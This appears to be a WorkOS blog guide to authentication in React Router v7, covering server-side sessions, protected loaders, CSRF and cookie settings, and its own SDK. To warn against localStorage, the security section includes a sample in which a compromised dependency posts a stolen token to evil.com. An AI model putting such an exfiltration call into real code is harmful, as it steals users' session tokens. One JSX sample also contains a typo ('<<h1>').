In this article
May 5, 2026
May 5, 2026

Building authentication in React Router applications: The complete guide for 2026

Authentication in React Router v7 happens in loaders, not useEffect. A complete guide to server-side sessions, protected routes, and enterprise SSO.

Explore with AI
Open in ChatGPT
Open in Claude
Open in Perplexity

React Router v7 changed what authentication means in a React application. With the merger of Remix into React Router, what was once a client-side routing library is now a full-stack framework with server-side rendering, loaders, actions, middleware, and built-in session management. Authentication in this world looks fundamentally different from the client-side token juggling that React developers are used to.

In a React Router v7 app, loaders need to verify sessions before returning data. Actions need to check permissions before writing. Protected routes need server-side guards, not just client-side redirects that a browser's DevTools can bypass. And session management works with encrypted cookies and server-side state, not tokens stored in localStorage.

This guide covers authentication in React Router v7 from the ground up: how the three modes (framework, data, declarative) shape your auth architecture, how to protect routes and manage sessions, what security concerns are specific to React Router, and how to evaluate implementation approaches for your application.

Understanding authentication in React Router v7

React Router v7 operates in three modes, and the mode you choose determines your entire authentication architecture. This is the most important decision you will make before writing any auth code.

The three modes

  • Framework mode is the full-stack option. React Router controls your build, your server, and your routing. Loaders and actions run on the server. You have access to request headers, cookies, and server-side sessions. Authentication happens on the server before any data is returned to the client. This is the mode that most closely resembles what Remix offered, and it is the recommended starting point for new applications.
  • Data mode adds data loading and mutations to client-side routing. You define loaders and actions on your routes, but they run in the browser unless you set up your own server. Authentication typically involves calling an API from your loaders and managing tokens on the client. You get the structure of loaders and actions without the server-side security guarantees.
  • Declarative mode is the classic React Router experience: <BrowserRouter>, <Route>, <Link>. No loaders, no actions, no server. Authentication is purely client-side, typically using React context and useEffect to check tokens and redirect. This is the mode most existing React Router tutorials describe, but it provides the weakest security model.
  
// Framework mode: auth happens on the server, before rendering
export async function loader({ request }: Route.LoaderArgs) {
  const session = await getSession(request.headers.get("Cookie"));
  if (!session.has("userId")) {
    throw redirect("/login");
  }
  const user = await getUser(session.get("userId"));
  return { user };
}

// Data mode: auth happens in the browser
const router = createBrowserRouter([
  {
    path: "/dashboard",
    loader: async () => {
      const token = localStorage.getItem("token");
      if (!token) throw redirect("/login");
      const res = await fetch("/api/user", {
        headers: { Authorization: `Bearer ${token}` },
      });
      return res.json();
    },
    Component: Dashboard,
  },
]);

// Declarative mode: auth happens in React components
function ProtectedRoute() {
  const { user, isLoading } = useAuth();
  if (isLoading) return <div>Loading...</div>;
  if (!user) return <Navigate to="/login" replace />;
  return <Outlet />;
}
  

The security difference between these modes is not cosmetic. In framework mode, the user never receives data they are not authorized to see because the loader checks permissions on the server before returning anything. In declarative mode, the data may already be fetched and the redirect is a UI convenience that can be bypassed by anyone who opens the browser's network tab.

Loaders and actions: the authentication primitives

In framework and data modes, loaders and actions replace useEffect and event handlers as the primary places where authentication logic lives.

  • Loaders run before a route renders. They receive the Request object (in framework mode) and return data that the component consumes via loaderData. This is where you verify sessions, check permissions, and fetch user-specific data.
  • Actions run when a form is submitted or a fetcher.submit() is called. They handle mutations: login, logout, password changes, and any other state change. In React Router, mutations always go through actions, which means authentication state changes (login, logout) are form submissions, not imperative function calls.
  
// login.tsx - Framework mode
import { redirect, data } from "react-router";
import type { Route } from "./+types/login";
import { getSession, commitSession } from "../sessions.server";

export async function loader({ request }: Route.LoaderArgs) {
  const session = await getSession(request.headers.get("Cookie"));
  if (session.has("userId")) {
    throw redirect("/dashboard");
  }
  return data(
    { error: session.get("error") },
    { headers: { "Set-Cookie": await commitSession(session) } }
  );
}

export async function action({ request }: Route.ActionArgs) {
  const session = await getSession(request.headers.get("Cookie"));
  const form = await request.formData();
  const email = form.get("email");
  const password = form.get("password");

  const userId = await verifyCredentials(String(email), String(password));

  if (!userId) {
    session.flash("error", "Invalid email or password");
    return redirect("/login", {
      headers: { "Set-Cookie": await commitSession(session) },
    });
  }

  session.set("userId", userId);
  return redirect("/dashboard", {
    headers: { "Set-Cookie": await commitSession(session) },
  });
}

export default function Login({ loaderData }: Route.ComponentProps) {
  const { error } = loaderData;

  return (
    <form method="post">
      {error && <p className="error">{error}</p>}
      <input type="email" name="email" required />
      <input type="password" name="password" required />
      <button type="submit">Log in</button>
    </form>
  );
}
  

This pattern has an important property: the login form works without JavaScript. Because it uses a standard <form method="post">, the browser submits the form directly to the server. React Router enhances it with client-side navigation when JavaScript is available, but the authentication flow is functional even if JavaScript fails to load. This is progressive enhancement, and it is a core design principle of React Router's framework mode.

Sessions and cookies

React Router (in framework mode) provides built-in session management through cookie-based storage. The API is inherited from Remix and provides createCookieSessionStorage, createSessionStorage, and createFileSessionStorage.

  
// sessions.server.ts
import { createCookieSessionStorage } from "react-router";

const { getSession, commitSession, destroySession } =
  createCookieSessionStorage({
    cookie: {
      name: "__session",
      httpOnly: true,
      maxAge: 60 * 60 * 24 * 7, // 7 days
      path: "/",
      sameSite: "lax",
      secrets: [process.env.SESSION_SECRET!],
      secure: process.env.NODE_ENV === "production",
    },
  });

export { getSession, commitSession, destroySession };
  

With createCookieSessionStorage, the entire session payload is stored in the cookie itself, encrypted and signed using your secret. This means no external session store is needed, which simplifies deployment. The trade-off is the 4KB cookie size limit, so this works best for small session payloads (user ID, role, a few flags).

For larger session data, use createSessionStorage with a custom backend (Redis, a database, or any key-value store). The cookie then holds only a session ID, and the data lives server-side:

  
import { createSessionStorage } from "react-router";

const sessionStorage = createSessionStorage({
  cookie: {
    name: "__session",
    httpOnly: true,
    sameSite: "lax",
    secrets: [process.env.SESSION_SECRET!],
    secure: process.env.NODE_ENV === "production",
  },
  async createData(data, expires) {
    const id = await db.sessions.create({ data, expires });
    return id;
  },
  async readData(id) {
    return await db.sessions.findById(id);
  },
  async updateData(id, data, expires) {
    await db.sessions.update(id, { data, expires });
  },
  async deleteData(id) {
    await db.sessions.delete(id);
  },
});
  

Middleware

React Router v7 introduced middleware for framework mode. Middleware runs before loaders and actions and can set context that downstream functions consume. This is the natural place for authentication logic that applies to multiple routes:

  
// middleware
import { redirect } from "react-router";
import type { unstable_MiddlewareFunction } from "react-router";
import { getSession } from "../sessions.server";

const authMiddleware: unstable_MiddlewareFunction = async ({
  request,
  context,
}) => {
  const session = await getSession(request.headers.get("Cookie"));
  const userId = session.get("userId");

  if (!userId) {
    throw redirect("/login");
  }

  const user = await getUserById(userId);
  context.set("user", user);
};

export const middleware = [authMiddleware];
  

Middleware avoids duplicating session-checking logic across every loader. It is especially useful for layout routes, where a single middleware function protects all child routes.

Authentication implementation approaches

React Router's architecture means your auth approach depends heavily on which mode you are using. The approaches below are organized from the most integrated (framework mode) to the most manual (declarative mode).

Approach 1: Framework mode with cookie sessions

This is the most secure and idiomatic approach for React Router v7 applications. Authentication happens entirely on the server using React Router's built-in session primitives. No tokens are stored in the browser. No client-side auth state to manage.

The login flow works through actions (as shown in the loaders and actions section above). Protected routes check the session in their loader:

  
// dashboard.tsx
import { redirect } from "react-router";
import type { Route } from "./+types/dashboard";
import { getSession } from "../sessions.server";

export async function loader({ request }: Route.LoaderArgs) {
  const session = await getSession(request.headers.get("Cookie"));
  const userId = session.get("userId");

  if (!userId) {
    throw redirect("/login");
  }

  const user = await getUser(userId);
  const orders = await getOrders(userId);
  return { user, orders };
}

export default function Dashboard({ loaderData }: Route.ComponentProps) {
  const { user, orders } = loaderData;
  return (
    <div>
      <h1>Welcome, {user.name}</h1>
      {/* render orders */}
    </div>
  );
}
  

Logout is an action, not a navigation:

  
// logout.tsx
import { redirect } from "react-router";
import type { Route } from "./+types/logout";
import { getSession, destroySession } from "../sessions.server";

export async function action({ request }: Route.ActionArgs) {
  const session = await getSession(request.headers.get("Cookie"));
  return redirect("/login", {
    headers: { "Set-Cookie": await destroySession(session) },
  });
}
  
  
// In your layout component
<form method="post" action="/logout">
  <button type="submit">Log out</button>
</form>
  

This approach leverages React Router's strengths: server-side data loading, progressive enhancement, and encrypted cookie sessions. Data is never sent to an unauthorized user because the redirect happens in the loader, before any rendering occurs.

For applications with many protected routes, use a layout route with middleware or a shared loader to avoid repeating session checks in every route module.

Approach 2: Framework mode with JWT validation

If your React Router app consumes an external API that issues JWTs, you can validate tokens server-side in your loaders while still using React Router's session management for the web session.

  
// callback.tsx - After OAuth redirect
import { redirect } from "react-router";
import type { Route } from "./+types/callback";
import { getSession, commitSession } from "../sessions.server";

export async function loader({ request }: Route.LoaderArgs) {
  const url = new URL(request.url);
  const code = url.searchParams.get("code");

  // Exchange authorization code for tokens
  const tokens = await exchangeCodeForTokens(code);

  // Store tokens in the server-side session
  const session = await getSession(request.headers.get("Cookie"));
  session.set("accessToken", tokens.accessToken);
  session.set("refreshToken", tokens.refreshToken);
  session.set("expiresAt", tokens.expiresAt);

  return redirect("/dashboard", {
    headers: { "Set-Cookie": await commitSession(session) },
  });
}
  
  
// In protected loaders, use the token from the session
export async function loader({ request }: Route.LoaderArgs) {
  const session = await getSession(request.headers.get("Cookie"));
  let accessToken = session.get("accessToken");
  const expiresAt = session.get("expiresAt");

  if (!accessToken) {
    throw redirect("/login");
  }

  // Refresh if expired
  if (Date.now() > expiresAt) {
    const refreshToken = session.get("refreshToken");
    const newTokens = await refreshAccessToken(refreshToken);
    accessToken = newTokens.accessToken;
    session.set("accessToken", newTokens.accessToken);
    session.set("expiresAt", newTokens.expiresAt);
  }

  const data = await fetch("https://api.example.com/data", {
    headers: { Authorization: `Bearer ${accessToken}` },
  });

  return data.json();
}
  

The key insight: even when working with JWTs, the tokens stay on the server inside the encrypted session cookie. The browser never sees the raw JWT. This gives you the security benefits of server-side session management while integrating with token-based APIs.

Approach 3: Data mode with client-side authentication

In data mode, loaders and actions run in the browser. Authentication relies on tokens stored in memory or cookies and validated against your API.

  
import {
  createBrowserRouter,
  redirect,
  RouterProvider,
} from "react-router";

async function requireAuth() {
  const res = await fetch("/api/me", { credentials: "include" });
  if (!res.ok) throw redirect("/login");
  return res.json();
}

const router = createBrowserRouter([
  {
    path: "/login",
    Component: Login,
    action: async ({ request }) => {
      const form = await request.formData();
      const res = await fetch("/api/login", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        credentials: "include",
        body: JSON.stringify({
          email: form.get("email"),
          password: form.get("password"),
        }),
      });
      if (!res.ok) return { error: "Invalid credentials" };
      return redirect("/dashboard");
    },
  },
  {
    path: "/dashboard",
    loader: async () => {
      const user = await requireAuth();
      const orders = await fetch("/api/orders", {
        credentials: "include",
      }).then((r) => r.json());
      return { user, orders };
    },
    Component: Dashboard,
  },
]);
  

Data mode gives you the organizational benefits of loaders and actions (separation of data fetching from rendering, automatic loading states) without requiring a server. However, authentication state lives in the browser, making it visible to client-side code and dependent on your API for validation.

This approach is reasonable when you are deploying a static SPA with a separate backend API and don't need server-side rendering. For new projects, framework mode is a stronger default.

Approach 4: Declarative mode with context and protected routes

This is the traditional React pattern: an AuthContext that wraps your app, a useAuth hook, and a ProtectedRoute component that checks authentication status.

  
// AuthContext.tsx
import { createContext, useContext, useState, useEffect } from "react";

interface AuthContextType {
  user: User | null;
  isLoading: boolean;
  login: (email: string, password: string) => Promise<void>;
  logout: () => Promise<void>;
}

const AuthContext = createContext<AuthContextType>(null!);

export function AuthProvider({ children }: { children: React.ReactNode }) {
  const [user, setUser] = useState<User | null>(null);
  const [isLoading, setIsLoading] = useState(true);

  useEffect(() => {
    fetch("/api/me", { credentials: "include" })
      .then((res) => (res.ok ? res.json() : null))
      .then(setUser)
      .finally(() => setIsLoading(false));
  }, []);

  const login = async (email: string, password: string) => {
    const res = await fetch("/api/login", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      credentials: "include",
      body: JSON.stringify({ email, password }),
    });
    if (!res.ok) throw new Error("Invalid credentials");
    setUser(await res.json());
  };

  const logout = async () => {
    await fetch("/api/logout", {
      method: "POST",
      credentials: "include",
    });
    setUser(null);
  };

  return (
    <AuthContext.Provider value={{ user, isLoading, login, logout }}>
      {children}
    </AuthContext.Provider>
  );
}

export const useAuth = () => useContext(AuthContext);
  
  
// ProtectedRoute.tsx
import { Navigate, Outlet, useLocation } from "react-router";
import { useAuth } from "./AuthContext";

export function ProtectedRoute() {
  const { user, isLoading } = useAuth();
  const location = useLocation();

  if (isLoading) return <div>Loading...</div>;
  if (!user) return <Navigate to="/login" state={{ from: location }} replace />;
  return <Outlet />;
}
  
  
// App.tsx
<AuthProvider>
  <BrowserRouter>
    <Routes>
      <Route path="/login" element={<Login />} />
      <Route element={<ProtectedRoute />}>
        <Route path="/dashboard" element={<Dashboard />} />
        <Route path="/settings" element={<Settings />} />
      </Route>
    </Routes>
  </BrowserRouter>
</AuthProvider>
  

This pattern works and is widely documented, but it has real limitations. The useEffect call on mount means there is always a loading flash while the auth state is determined. The redirect is client-side only, so an unauthenticated user briefly receives the page markup before being bounced. And because there is no server layer, token management (storage, refresh, expiration) lives entirely in client code.

If you are maintaining an existing declarative-mode app, this pattern is functional. For new projects, consider migrating to data mode or framework mode for stronger auth guarantees.

Approach 5: Managed authentication provider

The approaches above all require you to build the authentication infrastructure yourself: session storage, credential verification, token refresh, password hashing, email verification, MFA, and the ongoing maintenance to keep it secure. Even in framework mode where React Router provides strong session primitives, the authentication logic, user management, and enterprise features are your responsibility.

A managed provider handles all of this externally and integrates into your React Router application through its data loading model. The right provider plugs directly into loaders and actions with server-side session management, rather than requiring client-side context providers and token juggling.

This distinction matters in React Router. Providers without a dedicated React Router SDK force you to wire up authentication yourself: manually reading cookies in every loader, validating tokens against a JWKS endpoint, and handling refresh logic across server and client boundaries. That is doable, but it compounds across every protected route in your application.

WorkOS is a strong fit here. It provides @workos-inc/authkit-react-router, a first-party SDK built specifically for React Router v7 framework mode. The SDK provides authkitLoader for protecting routes in loaders, cookie-based encrypted sessions, and server-side access token handling that plugs directly into React Router's data loading model.

The fastest way to get started is the WorkOS CLI, which detects your React Router setup, installs the SDK, configures your dashboard, and writes the integration code:

  
npx workos@latest install
  

You can also set up the integration manually. Install the SDK and configure your environment:

  
npm install @workos-inc/authkit-react-router
  
  
# .env.local
WORKOS_CLIENT_ID="client_..."
WORKOS_API_KEY="sk_test_..."
WORKOS_REDIRECT_URI="http://localhost:5173/callback"
WORKOS_COOKIE_PASSWORD=""
  

Protecting a route is a single function call:

  
// dashboard.tsx
import type { Route } from "./+types/dashboard";
import { authkitLoader } from "@workos-inc/authkit-react-router";

export const loader = (args: Route.LoaderArgs) =>
  authkitLoader(args, { ensureSignedIn: true });

export default function Dashboard({ loaderData }: Route.ComponentProps) {
  const { user } = loaderData;
  return <h1>Welcome, {user.firstName}<<h1>;
}
  

authkitLoader checks the encrypted session cookie, validates the session, refreshes tokens if needed, and either returns the authenticated user or redirects to AuthKit's hosted login page. One function replaces all the manual session management code from Approach 1.

For routes that should show different content to authenticated and unauthenticated users (rather than redirecting), omit ensureSignedIn:

  
export const loader = (args: Route.LoaderArgs) => authkitLoader(args);

export default function Home({ loaderData }: Route.ComponentProps) {
  const { user } = loaderData;
  return user ? (
    <p>Welcome back, {user.firstName}</p>
  ) : (
    <p>Sign in to continue</p>
  );
}
  

Logout works through actions, following React Router's conventions:

  
import { signOut } from "@workos-inc/authkit-react-router";

export async function action({ request }: ActionFunctionArgs) {
  return await signOut(request);
}
  

For advanced use cases, withAuth provides direct access to the authentication data without the automatic redirect behavior of authkitLoader. And getWorkOS() gives you the full WorkOS SDK client for accessing organizations, directory sync, audit logs, and other platform features.

Beyond basic authentication, WorkOS provides enterprise SSO (SAML and OIDC), SCIM-based directory sync, organization management with multi-tenancy, audit logs, bot protection, and compliance features. These capabilities build on each other as your requirements grow, and the React Router SDK integrates them through the same loader-based pattern.

This approach makes the most sense for B2B software where enterprise customers will eventually require SSO, directory sync, or compliance certifications. Rather than building those features over months and maintaining them indefinitely, you delegate them to a platform designed for that purpose and keep your team focused on your product.

Security considerations for React Router authentication

Now that you have seen the implementation patterns, here is what can go wrong and what to watch for.

Client-side redirects are not security

The most common mistake in React Router authentication is treating client-side redirects as access control. A <Navigate> component or a redirect() in a client-side loader prevents a user from seeing a page, but it does not prevent them from accessing the data.

  
// This is NOT security - it's UI convenience
function ProtectedRoute() {
  const { user } = useAuth();
  if (!user) return <Navigate to="/login" />;
  return <Outlet />;
}
  

If your API returns data to any request with valid headers, an unauthenticated user can open the browser's network tab, copy the fetch request, and replay it. The <Navigate> component only hides the UI; it does not protect the data.

In framework mode, loader-based redirects are genuine access control because the redirect happens on the server before any data is returned:

  
// This IS security - the data never reaches the client
export async function loader({ request }: Route.LoaderArgs) {
  const session = await getSession(request.headers.get("Cookie"));
  if (!session.has("userId")) {
    throw redirect("/login"); // Server-side: no data sent
  }
  return { sensitiveData: await getSensitiveData() };
}
  

If you are in declarative or data mode, your API must enforce authentication and authorization independently of the frontend. The React Router redirect is a UX convenience, not a security boundary.

CSRF protection through actions

React Router's action model provides natural CSRF protection in framework mode. Because mutations happen through <form method="post"> and actions, and because React Router automatically includes cookies with these requests, the sameSite: "lax" cookie attribute prevents cross-site form submissions.

This works because sameSite: "lax" allows cookies on same-site navigations (GET requests) but blocks them on cross-site form submissions (POST, PUT, DELETE). Since loaders handle GET and actions handle POST, the architecture aligns with the cookie's security model.

However, if you are building an API that accepts JSON bodies (not form data), you lose the browser's built-in CSRF protection. In that case, implement CSRF tokens explicitly:

  
import { createCookie } from "react-router";

const csrfCookie = createCookie("csrf", {
  httpOnly: true,
  sameSite: "strict",
  secure: process.env.NODE_ENV === "production",
});

// Generate and include in loader response
export async function loader({ request }: Route.LoaderArgs) {
  const token = crypto.randomUUID();
  return data(
    { csrfToken: token },
    { headers: { "Set-Cookie": await csrfCookie.serialize(token) } }
  );
}

// Validate in action
export async function action({ request }: Route.ActionArgs) {
  const form = await request.formData();
  const tokenFromForm = form.get("csrf");
  const tokenFromCookie = await csrfCookie.parse(
    request.headers.get("Cookie")
  );

  if (tokenFromForm !== tokenFromCookie) {
    throw new Response("Invalid CSRF token", { status: 403 });
  }
  // Process the mutation
}
  

Session cookie configuration

Every cookie used for authentication should be configured defensively:

  
createCookieSessionStorage({
  cookie: {
    name: "__session",
    httpOnly: true,    // Prevents JavaScript access via document.cookie
    secure: true,      // HTTPS only in production
    sameSite: "lax",   // CSRF protection
    path: "/",         // Available on all routes
    maxAge: 60 * 60 * 24 * 7,  // 7 days
    secrets: [process.env.SESSION_SECRET!],
  },
});
  

httpOnly: true is non-negotiable. Without it, any XSS vulnerability in your application can steal session cookies via document.cookie. secure: true ensures cookies are only transmitted over HTTPS. sameSite: "lax" prevents cross-site request forgery while still allowing normal link navigation. The secrets array supports secret rotation: add a new secret to the front and keep the old one at the end. New sessions use the first secret; existing sessions signed with any secret in the array will still validate.

Do not store tokens in localStorage

This advice appears in every authentication guide because it remains the most common mistake in React applications. localStorage is accessible to any JavaScript running on the page. A single XSS vulnerability (a compromised dependency, an unescaped user input, a malicious browser extension) can read every token in localStorage and exfiltrate it.

  
// Dangerous: any script on the page can steal this
localStorage.setItem("token", jwt);

// A compromised dependency does this:
fetch("https://evil.com/steal", {
  method: "POST",
  body: JSON.stringify({
    token: localStorage.getItem("token"),
  }),
});
  

In framework mode, this is a non-issue because tokens live in encrypted httpOnly cookies that JavaScript cannot read. In declarative or data mode, store tokens in httpOnly cookies via your API, not in localStorage or sessionStorage.

Flash messages and race conditions

React Router's session.flash() writes a value to the session that is automatically cleared after the next read. This is useful for showing error messages after a failed login:

  
session.flash("error", "Invalid email or password");
return redirect("/login", {
  headers: { "Set-Cookie": await commitSession(session) },
});
  

The race condition risk: because of nested routes, multiple loaders can run in parallel to construct a single page. If two loaders read the same flash value, the first one gets it and the second gets nothing (or the flash is consumed before either reads it, depending on timing).

Use flash messages only in leaf loaders that are the sole consumer of the flash value. If multiple loaders need error state, use distinct flash keys for each.

XSS and React's built-in protections

React escapes content in JSX expressions by default, preventing most XSS attacks:

  
// Safe: React escapes this automatically
<p>{user.name}</p>

// Dangerous: bypasses React's escaping
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
  

Never use dangerouslySetInnerHTML with user-provided content unless you sanitize it first with a library like DOMPurify. In an authentication context, XSS is especially dangerous because it can steal session cookies (if httpOnly is not set), exfiltrate tokens from memory or localStorage, or perform actions as the authenticated user.

Dependency supply chain risks

React applications typically have hundreds of npm dependencies. Each is a potential vector for malicious code that can steal tokens, exfiltrate cookies (if httpOnly is not set), or inject scripts.

Run npm audit in CI. Use package-lock.json and commit it to version control. Audit new dependencies before adding them. For authentication-specific packages, prefer well-maintained libraries with security audit histories.

Production best practices

Security checklist

  • Use framework mode for authentication whenever possible. Server-side session validation is fundamentally more secure than client-side token checking.
  • Set httpOnly, secure, and sameSite on all session cookies. Never omit httpOnly.
  • Do not store tokens in localStorage or sessionStorage. Use encrypted httpOnly cookies.
  • Perform all mutations (login, logout, password changes) through actions, not GET requests in loaders. Loaders should be safe to call without side effects.
  • Validate and sanitize all form data in actions before processing. Never trust client input.
  • Never use dangerouslySetInnerHTML with user-provided content.
  • Keep React, React Router, and all npm dependencies updated. Run npm audit in CI.
  • Use package-lock.json and commit it to version control.
  • Rotate session secrets without downtime by using the secrets array in your cookie configuration.
  • Implement rate limiting on login and registration actions (via middleware or a reverse proxy).
  • Log authentication events (logins, failures, logouts) and monitor for anomalies.

Deployment checklist

  • Generate a strong session secret (at least 32 characters) using openssl rand -hex 32 or a secrets manager.
  • Set secure: true on all cookies in production. Test that your deployment serves over HTTPS.
  • Configure your reverse proxy or CDN to forward cookies correctly. Verify that Set-Cookie headers are not stripped.
  • If using createCookieSessionStorage, keep session payloads small (under 4KB) to avoid exceeding cookie size limits.
  • If using createSessionStorage with a database or Redis backend, configure connection pooling and session expiration.
  • Test authentication flows end to end: login, logout, session expiration, token refresh, and protected route access.
  • Verify that unauthenticated requests to protected loaders receive redirects, not partial data.
  • Set up monitoring for authentication endpoint errors and latency spikes.
  • Configure proper cache headers to prevent authenticated responses from being cached by CDNs or browsers.

Conclusion

React Router v7 changed the game for authentication in React applications. With server-side loaders, actions, encrypted cookie sessions, and middleware, it provides the primitives to build authentication that is secure by default. The key is choosing the right mode and using it correctly.

If you are building authentication yourself, use framework mode and lean on React Router's server-side session management. Keep tokens out of the browser. Perform mutations through actions. Treat client-side redirects as UX, not security.

If you are considering a managed provider, prioritize one with a dedicated React Router SDK that integrates at the loader level, not one that relies on client-side context providers designed for SPAs.

Authentication is critical infrastructure. Choose the approach that matches where your application is headed, not just where it is today.

Sign up for WorkOS and secure your React Router application.

This site uses cookies to improve your experience. Please accept the use of cookies on this site. You can review our cookie policy here and our privacy policy here. If you choose to refuse, functionality of this site will be limited.